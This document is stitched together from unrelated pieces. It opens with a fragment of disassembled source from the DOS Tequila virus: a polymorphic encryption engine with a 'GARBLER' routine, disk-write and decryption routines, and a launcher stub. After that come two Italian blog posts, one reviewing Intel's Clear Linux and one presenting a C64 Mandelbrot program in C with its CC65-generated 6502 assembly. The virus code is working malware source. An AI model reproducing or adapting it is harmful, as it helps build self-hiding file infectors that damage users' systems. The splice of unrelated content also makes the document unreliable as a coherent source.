   MOV W[0A5B],AX           ;Masm Mod. Needed
   CALL MOVE_TO_BEGINNING_OF_FILE
   MOV CX,01C
   MOV DX,0A49

WRITE_THE_NEW_HEADER:
   CALL 0696           ;Masm Mod. Needed
 OUT_OF_ENCRYPT:
   RET

COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE:
   PUSH BP
   XOR AH,AH
   INT 01A
   MOV AX,DX
   MOV BP,DX
   PUSH DS
   POP ES
   MOV DI,0960
   MOV SI,DI
   MOV CX,020
   CLD
   REP STOSW
   XOR DX,DX
   MOV ES,DX
   CALL ENCRYPT_STEP_ONE
   CALL ENCRYPT_STEP_TWO
   CALL ENCRYPT_STEP_THREE
   MOV B[SI],0E9
   MOV DI,028C
   SUB DI,SI
   SUB DI,3
   INC SI
   MOV W[SI],DI
   MOV AX,0A04
   CALL AX
   POP BP
   RET

ENCRYPT_STEP_ONE:
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JNE 08EB           ;Masm Mod. Needed
   MOV B[SI],0E
   INC SI
   CALL GARBLER
   MOV B[SI],01F
   INC SI
   CALL GARBLER
   RET
   MOV W[SI],0CB8C
   INC SI
   INC SI
   CALL GARBLER
   MOV W[SI],0DB8E
   INC SI
   INC SI
   CALL GARBLER
   RET

ENCRYPT_STEP_TWO:
   AND CH,0FE
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JE 0920           ;Masm Mod. Needed
   OR CH,1
   MOV B[SI],0BE
   INC SI
   MOV W[SI],BX
   INC SI
   INC SI
   CALL GARBLER
   ADD BX,0960
   TEST CH,1
   JE 0934           ;Masm Mod. Needed
   MOV B[SI],0BB
   INC SI
   MOV W[SI],BX
   INC SI
   INC SI
   CALL GARBLER
   ADD BX,0960
   TEST CH,1
   JE 090C           ;Masm Mod. Needed
   SUB BX,0960
   CALL GARBLER
   MOV B[SI],0B9
   INC SI
   MOV AX,0960
   MOV W[SI],AX
   INC SI
   INC SI
   CALL GARBLER
   CALL GARBLER
   RET

ENCRYPT_STEP_THREE:
   MOV AH,014
   MOV DH,017
   TEST CH,1
   JE 0958           ;Masm Mod. Needed
   XCHG DH,AH
   MOV DI,SI
   MOV AL,08A
   MOV W[SI],AX
   INC SI
   INC SI
   CALL GARBLER
   XOR DL,DL
   MOV B[0A39],028           ;Masm Mod. Needed
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JE 0978           ;Masm Mod. Needed
   MOV DL,030
   MOV B[0A39],DL           ;Masm Mod. Needed
   MOV W[SI],DX
   INC SI
   INC SI
   MOV W[SI],04346
   INC SI
   INC SI
   CALL GARBLER
   MOV AX,0FE81
   MOV CL,0BE
   TEST CH,1
   JE 0993           ;Masm Mod. Needed
   MOV AH,0FB
   MOV CL,0BB
   MOV W[SI],AX
   INC SI
   INC SI
   PUSH BX
   ADD BX,040
   MOV W[SI],BX
   INC SI
   INC SI
   POP BX
   MOV B[SI],072
   INC SI
   MOV DX,SI
   INC SI
   CALL GARBLER
   MOV B[SI],CL
   INC SI
   MOV W[SI],BX
   INC SI
   INC SI
   MOV AX,SI
   SUB AX,DX
   DEC AX
   MOV BX,DX
   MOV B[BX],AL
   CALL GARBLER
   CALL GARBLER
   MOV B[SI],0E2
   INC SI
   SUB DI,SI
   DEC DI
   MOV AX,DI
   MOV B[SI],AL
   INC SI
   CALL GARBLER
   RET

GARBLER:
   DEC BP
   ES TEST B[BP],0F           ;Masm Mod. Needed
   JE RET           ;Masm Mod. Needed
   DEC BP
   ES MOV AL,B[BP]           ;Masm Mod. Needed
   TEST AL,2
   JE 0A0E           ;Masm Mod. Needed
   TEST AL,4
   JE 09F7           ;Masm Mod. Needed
   TEST AL,8
   JE 09F1           ;Masm Mod. Needed
   MOV W[SI],0C789
   INC SI
   INC SI
   JMP RET           ;Masm Mod. Needed
   MOV B[SI],090
   INC SI
   JMP RET           ;Masm Mod. Needed
   MOV AL,085
   DEC BP
   ES MOV AH,B[BP]           ;Masm Mod. Needed
   TEST AH,2
   JE 0A05           ;Masm Mod. Needed
   DEC AL
   OR AH,0C0
   MOV W[SI],AX
   INC SI
   INC SI
   JMP RET           ;Masm Mod. Needed
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JE 0A1A           ;Masm Mod. Needed
   MOV AL,039
   JMP 09F9           ;Masm Mod. Needed
   MOV B[SI],0FC
   INC SI
   RET

MAKE_THE_DISK_WRITE:
   CALL PERFORM_ENCRYPTION_DECRYPTION
   MOV AH,040
   MOV BX,W[09A4]
   MOV DX,0
   MOV CX,09A4
   PUSHF
   CALL D[09B4]           ;Masm Mod. Needed
   JB 0A37           ;Masm Mod. Needed
   SUB AX,CX
   PUSHF
   CMP B[0A39],028           ;Masm Mod. Needed
   JNE 0A44           ;Masm Mod. Needed
   MOV B[0A39],0           ;Masm Mod. Needed
   CALL PERFORM_ENCRYPTION_DECRYPTION
   POPF
   RET

PERFORM_ENCRYPTION_DECRYPTION:
   MOV BX,0
   MOV SI,0960
   MOV CX,0960
   MOV DL,B[SI]
   XOR B[BX],DL
   INC SI
   INC BX
   CMP SI,09A0
   JB 0A61           ;Masm Mod. Needed
   MOV SI,0960
   LOOP 0A52           ;Masm Mod. Needed
   RET

THE_FILE_DECRYPTING_ROUTINE:
   PUSH CS
   POP DS
   MOV BX,4
   MOV SI,0964
   MOV CX,0960
   MOV DL,B[SI]
   ADD B[BX],DL
   INC SI
   INC BX
   CMP SI,09A4
   JB 0A7E           ;Masm Mod. Needed
   MOV SI,0964
   LOOP 0A6F           ;Masm Mod. Needed
   JMP 0390           ;Masm Mod. Needed

;========== THE FOLLOWING IS NOT PART OF THE VIRUS ========
;==========       BUT IS MERELY THE BOOSTER.       ========

START:
   LEA W[0104],EXIT           ;Masm Mod. Needed
   MOV W[0106],CS           ;Masm Mod. Needed
   MOV BX,CS
   SUB W[0106],BX           ;Masm Mod. Needed
   JMP INSTALL

EXIT:
   INT 020

TEQUILA ENDP
CODE_SEG ENDS
END TEQUILA

Clear Linux* Os di Intel

Sto provando una nuova distribuzione, ClearLinux, perche' e' realizzata da Intel e promette, oltre ad una serie di ottimizzazione per i processsori Intel, anche un nuovo sistema di pacchettizzazione (che scarica solo le differenze effettive tra i pacchetti gia' installati e i bytes di update). C'e' anche una particolare attenzione alla sicurezza con gli aggiornamenti legati ai CVE

L'installazione su un Lenovo T440s (hardware attualmente non certificato per la distribuzione) e' risultata un po' macchinosa....l'installazione mi si bloccava sempre ai primi passi quando cercava di caricare l'installer....ho provato ad attendere ma senza risultato. Leggendo le istruzioni sembra che UEFI Boot debba essere abilitato..ho modificato il BIOS per partire sia in UEFI che in Legacy mode ed alla fine sono arrivato al desktop

Una presentazione puo' essere trovata sul canale Youtube (un po' lunga ma esaustiva)

i pacchetti si installano via FlatPak (un sistema di distribuzione multi piattaforma) e non sono al momento molto numerosi

https://clearlinux.org/software?search_api_fulltext=&field_bundle_category=15269&page=4

L'aspetto inconsueto e' FlatPak non installa i file nel filesystem generale (per esempio /usr/bin ma all'interno della propria home....per esempio Vice (emulatore C64) si trovera' in

/.local/share/flatpak/app/net.sf.VICE/x86_64/stable/26b8f154f0490a9550d510000bbc2b84e21c4fafa324b54a33989ac1f97591b4/files/bin/x64

altrimenti c'e' la modalita' bundle tramite swupd (software updater), la modalita' che permette di gestire la granularita' degli aggiornamenti

sudo swupd bundle-add application-server 

per abilitare l'aggiornamento automatico si usa

sudo swupd autoupdate

altri comandi utili

sudo swupd check-update
sudo swupd update

devo registrare che installando dei bundle o flatpak (in particolare pacchetti voluminosi come Android Studio) ho sperimentato diverse disconessioni per errori TLS. Rilanciando il comando l'installazione riparte da dove si era interrotta ma e' stato abbastanza fastidioso

Al momento i pacchetti nei repository sono abbastanza limitati ed e' dichiaratamente una distribuzione da sviluppatori

Mandelbrot testuale con CC65 su C64

Ero partito con l'idea ambiziosa di creare l'insieme di Mandelbrot in Assembly 6502 per Commodore 64 usando un po' l'esperienza di questo precedente post
In sintesi volevo un calcolo rapido utilizzando solo gli interi e la modalita' testo (un po' per riprendere Tequila Virus per DOS)


Alla fine ho barato....usando CC65, il crosscompilatore per 6502 e' possibile ottenere, oltre all'eseguibile. anche un listato Assembly....e tra gli esempi c'e' pure un calcolo di Mandelbrot che rispetto l'algoritmo che mi ero prefisso

Il tempo di esecuzione e' stato 1 minuto e 37 secondi

Versione in C
--------------------------------------------------------------------------------------------
include <stdlib.h>
#include <stdio.h>
#include <conio.h>

#define SCREEN_X        40
#define SCREEN_Y        22

#define maxiterations   30
#define fpshift         (10)
#define tofp(_x)        ((_x)<<fpshift)
#define fromfp(_x)      ((_x)>>fpshift)
#define fpabs(_x)       (abs(_x))

#define mulfp(_a,_b)    ((((signed long)_a)*(_b))>>fpshift)
#define divfp(_a,_b)    ((((signed long)_a)<<fpshift)/(_b))

#pragma static-locals (1);


int main (void)
{
    register unsigned char count;
    register signed short r, r1, i;
    register signed short xs, ys, xx, yy;
    register signed short x, y;
    register signed short x1,y1,x2,y2;

    x1 = -2048;
    y1 = -1024;
    x2 = 1024;
    y2 = 1024;
    

    xs = 77;
    ys = 93;

    yy = y1;
    for (y = 0; y < (SCREEN_Y); y++) {
        yy += ys;
        xx = x1;
        for (x = 0; x < (SCREEN_X); x++) {
            xx += xs;
            /* Do iterations */
            r = 0;
            i = 0;
            for (count = 0; (count < maxiterations) &&
                 (fpabs (r) < 2048) && (fpabs (i) < 2048);
                 ++count) {
                r1 = (mulfp (r, r) - mulfp (i, i)) + xx;
                i = (((signed long) r * i) >> 9) + yy;
                r = r1;
            }
    textcolor(count/2);
    printf("O");
        }
    }

    return EXIT_SUCCESS;
}
--------------------------------------------------------------------------------------------

Traduzione in Assembly
--------------------------------------------------------------------------------------------

;
; File generated by cc65 v 2.17 - Git N/A
;
.fopt compiler,"cc65 v 2.17 - Git N/A"
.setcpu "6502"
.smart on
.autoimport on
.case on
.debuginfo off
.importzp sp, sreg, regsave, regbank
.importzp tmp1, tmp2, tmp3, tmp4, ptr1, ptr2, ptr3, ptr4
.macpack longbranch
.forceimport __STARTUP__
.import _abs
.import _printf
.export _main

.segment "RODATA"

L0067:
.byte $25,$63,$00

; ---------------------------------------------------------------
; int __near__ main (void)
; ---------------------------------------------------------------

.segment "CODE"

.proc _main: near

.segment "BSS"

L0003:
.res 1,$00
L0004:
.res 2,$00
L0005:
.res 2,$00
L0006:
.res 2,$00
L0007:
.res 2,$00
L0008:
.res 2,$00
L0009:
.res 2,$00
L000A:
.res 2,$00
L000B:
.res 2,$00
L000C:
.res 2,$00
L000D:
.res 2,$00
L000E:
.res 2,$00
L000F:
.res 2,$00
L0010:
.res 2,$00

.segment "CODE"

;
; x1 = -2048;
;
ldx     #$F8
lda     #$00
sta     L000D
stx     L000D+1
;
; y1 = -1024;
;
ldx     #$FC
lda     #$00
sta     L000E
stx     L000E+1
;
; x2 = 1024;
;
ldx     #$04
lda     #$00
sta     L000F
stx     L000F+1
;
; y2 = 1024;
;
ldx     #$04
lda     #$00
sta     L0010
stx     L0010+1
;
; xs = 77;
;
ldx     #$00
lda     #$4D
sta     L0007
stx     L0007+1
;
; ys = 93;
;
ldx     #$00
lda     #$5D
sta     L0008
stx     L0008+1
;
; yy = y1;
;
lda     L000E
ldx     L000E+1
sta     L000A
stx     L000A+1
;
; for (y = 0; y < (SCREEN_Y); y++) {
;
ldx     #$00
lda     #$00
sta     L000C
stx     L000C+1
L001F: lda     L000C
ldx     L000C+1
cmp     #$16
txa
sbc     #$00
bvc     L0027
eor     #$80
L0027: asl     a
lda     #$00
ldx     #$00
rol     a
jne     L0022
jmp     L0020
;
; yy += ys;
;
L0022: lda     L0008
ldx     L0008+1
clc
adc     L000A
sta     L000A
txa
adc     L000A+1
sta     L000A+1
tax
lda     L000A
;
; xx = x1;
;
lda     L000D
ldx     L000D+1
sta     L0009
stx     L0009+1
;
; for (x = 0; x < (SCREEN_X); x++) {
;
ldx     #$00
lda     #$00
sta     L000B
stx     L000B+1
L002D: lda     L000B
ldx     L000B+1
cmp     #$28
txa
sbc     #$00
bvc     L0035
eor     #$80
L0035: asl     a
lda     #$00
ldx     #$00
rol     a
jne     L0030
jmp     L0021
;
; xx += xs;
;
L0030: lda     L0007
ldx     L0007+1
clc
adc     L0009
sta     L0009
txa
adc     L0009+1
sta     L0009+1
tax
lda     L0009
;
; r = 0;
;
ldx     #$00
lda     #$00
sta     L0004
stx     L0004+1
;
; i = 0;
;
ldx     #$00
lda     #$00
sta     L0006
stx     L0006+1
;
; for (count = 0; (count < maxiterations) &&
;
ldx     #$00
lda     #$00
sta     L0003
L003D: ldx     #$00
lda     L0003
cmp     #$1E
jsr     boolult
jeq     L0045
;
; (fpabs (r) < 2048) && (fpabs (i) < 2048);
;
lda     L0004
ldx     L0004+1
jsr     _abs
cmp     #$00
txa
sbc     #$08
bvc     L0049
eor     #$80
L0049: asl     a
lda     #$00
ldx     #$00
rol     a
jeq     L0045
lda     L0006
ldx     L0006+1
jsr     _abs
cmp     #$00
txa
sbc     #$08
bvc     L004D
eor     #$80
L004D: asl     a
lda     #$00
ldx     #$00
rol     a
jne     L0043
L0045: ldx     #$00
lda     #$00
jeq     L004E
L0043: ldx     #$00
lda     #$01
L004E: jne     L0040
jmp     L003E
;
; r1 = (mulfp (r, r) - mulfp (i, i)) + xx;
;
L0040: lda     L0004
ldx     L0004+1
jsr     axlong
jsr     pusheax
lda     L0004
ldx     L0004+1
jsr     axlong
jsr     tosmuleax
txa
ldx     sreg
ldy     sreg+1
sty     sreg
cpy     #$80
ldy     #$00
bcc     L0058
dey
L0058: sty     sreg+1
jsr     asreax2
jsr     pusheax
lda     L0006
ldx     L0006+1
jsr     axlong
jsr     pusheax
lda     L0006
ldx     L0006+1
jsr     axlong
jsr     tosmuleax
txa
ldx     sreg
ldy     sreg+1
sty     sreg
cpy     #$80
ldy     #$00
bcc     L005E
dey
L005E: sty     sreg+1
jsr     asreax2
jsr     tossubeax
jsr     pusheax
lda     L0009
ldx     L0009+1
jsr     axlong
jsr     tosaddeax
sta     L0005
stx     L0005+1
;
; i = (((signed long) r * i) >> 9) + yy;
;
lda     L0004
ldx     L0004+1
jsr     axlong
jsr     pusheax
lda     L0006
ldx     L0006+1
jsr     axlong
jsr     tosmuleax
txa
ldx     sreg
ldy     sreg+1
sty     sreg
cpy     #$80
ldy     #$00
bcc     L0063
dey
L0063: sty     sreg+1
jsr     asreax1
jsr     pusheax
lda     L000A
ldx     L000A+1
jsr     axlong
jsr     tosaddeax
sta     L0006
stx     L0006+1
;
; r = r1;
;
lda     L0005
ldx     L0005+1
sta     L0004
stx     L0004+1
;
; ++count) {
;
ldx     #$00
inc     L0003
lda     L0003
jmp     L003D
;
; printf("%c",count+50);
;
L003E: lda     #<(L0067)
ldx     #>(L0067)
jsr     pushax
ldx     #$00
lda     L0003
ldy     #$32
jsr     incaxy
jsr     pushax
ldy     #$04
jsr     _printf
;
; for (x = 0; x < (SCREEN_X); x++) {
;
lda     L000B
ldx     L000B+1
sta     regsave
stx     regsave+1
jsr     incax1
sta     L000B
stx     L000B+1
lda     regsave
ldx     regsave+1
jmp     L002D
;
; for (y = 0; y < (SCREEN_Y); y++) {
;
L0021: lda     L000C
ldx     L000C+1
sta     regsave
stx     regsave+1
jsr     incax1
sta     L000C
stx     L000C+1
lda     regsave
ldx     regsave+1
jmp     L001F
;
; return EXIT_SUCCESS;
;
L0020: ldx     #$00
lda     #$00
jmp     L0002
;
; }
;
L0002: rts

.endproc

--------------------------------------------------------------------------------------------